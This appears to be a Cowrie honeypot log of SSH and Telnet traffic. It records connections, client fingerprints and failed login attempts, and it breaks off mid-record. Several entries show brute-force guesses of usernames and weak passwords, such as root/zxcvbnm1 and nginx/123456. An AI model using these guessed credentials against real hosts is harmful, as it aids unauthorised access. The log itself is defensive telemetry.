{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:28.124119Z","src_ip":"176.65.139.103","session":"2482ac360cc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:28.733522Z","src_ip":"176.65.139.103","session":"2482ac360cc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.93.36","src_port":37484,"dst_ip":"159.203.135.109","dst_port":23,"session":"79709d936499","protocol":"telnet","message":"New connection: 213.230.93.36:37484 (159.203.135.109:23) [session: 79709d936499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:28.783458Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:29.820910Z","src_ip":"176.65.139.103","session":"2482ac360cc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":62053,"dst_ip":"10.17.0.5","dst_port":22,"session":"915a0d6b0431","protocol":"ssh","message":"New connection: 52.231.220.210:62053 (10.17.0.5:22) [session: 915a0d6b0431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:32.266749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:32.270997Z","src_ip":"52.231.220.210","session":"915a0d6b0431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:32.451811Z","src_ip":"52.231.220.210","session":"915a0d6b0431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2025","message":"login attempt [git/git@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:33.207012Z","src_ip":"52.231.220.210","session":"915a0d6b0431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":32914,"dst_ip":"10.17.0.5","dst_port":23,"session":"354037424106","protocol":"telnet","message":"New connection: 213.136.75.179:32914 (10.17.0.5:23) [session: 354037424106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:33.890818Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:34.390952Z","src_ip":"52.231.220.210","session":"915a0d6b0431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36214,"dst_ip":"10.17.0.5","dst_port":22,"session":"df8878a08a63","protocol":"ssh","message":"New connection: 176.65.139.103:36214 (10.17.0.5:22) [session: df8878a08a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:35.177175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:35.181284Z","src_ip":"176.65.139.103","session":"df8878a08a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:35.266452Z","src_ip":"176.65.139.103","session":"df8878a08a63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:35.524550Z","src_ip":"176.65.139.103","session":"df8878a08a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:36.867359Z","src_ip":"176.65.139.103","session":"df8878a08a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":51190,"dst_ip":"10.17.0.5","dst_port":23,"session":"f80b0187e902","protocol":"telnet","message":"New connection: 213.136.75.179:51190 (10.17.0.5:23) [session: f80b0187e902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:37.639764Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":57574,"dst_ip":"10.17.0.5","dst_port":22,"session":"96ce4f1d35a2","protocol":"ssh","message":"New connection: 202.184.144.220:57574 (10.17.0.5:22) [session: 96ce4f1d35a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:40.182912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:40.188331Z","src_ip":"202.184.144.220","session":"96ce4f1d35a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:40.440931Z","src_ip":"202.184.144.220","session":"96ce4f1d35a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":51202,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea7ea61838f","protocol":"telnet","message":"New connection: 213.136.75.179:51202 (10.17.0.5:23) [session: 6ea7ea61838f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:40.667034Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm1","message":"login attempt [root/zxcvbnm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:41.463245Z","src_ip":"202.184.144.220","session":"96ce4f1d35a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.893163204193115,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:41.676496Z","src_ip":"213.230.93.36","session":"79709d936499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":36234,"dst_ip":"10.17.0.5","dst_port":22,"session":"c680c67c1c4b","protocol":"ssh","message":"New connection: 176.65.139.103:36234 (10.17.0.5:22) [session: c680c67c1c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:42.083257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:42.088457Z","src_ip":"176.65.139.103","session":"c680c67c1c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:42.171521Z","src_ip":"176.65.139.103","session":"c680c67c1c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:42.515824Z","src_ip":"176.65.139.103","session":"c680c67c1c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:42.712566Z","src_ip":"202.184.144.220","session":"96ce4f1d35a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:43.606070Z","src_ip":"176.65.139.103","session":"c680c67c1c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57970,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fbc363ea3f0","protocol":"ssh","message":"New connection: 176.65.139.103:57970 (10.17.0.5:22) [session: 0fbc363ea3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:49.395593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:49.403547Z","src_ip":"176.65.139.103","session":"0fbc363ea3f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:49.482713Z","src_ip":"176.65.139.103","session":"0fbc363ea3f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:49.806110Z","src_ip":"176.65.139.103","session":"0fbc363ea3f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":37872,"dst_ip":"10.17.0.5","dst_port":22,"session":"81e50fd2cb70","protocol":"ssh","message":"New connection: 80.94.92.182:37872 (10.17.0.5:22) [session: 81e50fd2cb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:50.349925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:50.419075Z","src_ip":"80.94.92.182","session":"81e50fd2cb70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:50.570794Z","src_ip":"80.94.92.182","session":"81e50fd2cb70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:50.941523Z","src_ip":"176.65.139.103","session":"0fbc363ea3f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operation","password":"operation","message":"login attempt [operation/operation] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:52.119919Z","src_ip":"80.94.92.182","session":"81e50fd2cb70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":33080,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e52a327cbc2","protocol":"telnet","message":"New connection: 161.97.124.15:33080 (159.203.135.109:23) [session: 6e52a327cbc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:52.339004Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:53.495293Z","src_ip":"80.94.92.182","session":"81e50fd2cb70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":54524,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a6d9c21dfd7","protocol":"ssh","message":"New connection: 103.176.20.115:54524 (10.17.0.5:22) [session: 8a6d9c21dfd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:55.606210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:55.611209Z","src_ip":"103.176.20.115","session":"8a6d9c21dfd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38422,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa8cae1a01d3","protocol":"ssh","message":"New connection: 176.65.139.103:38422 (10.17.0.5:22) [session: fa8cae1a01d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:55.815056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:48:55.819940Z","src_ip":"176.65.139.103","session":"fa8cae1a01d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 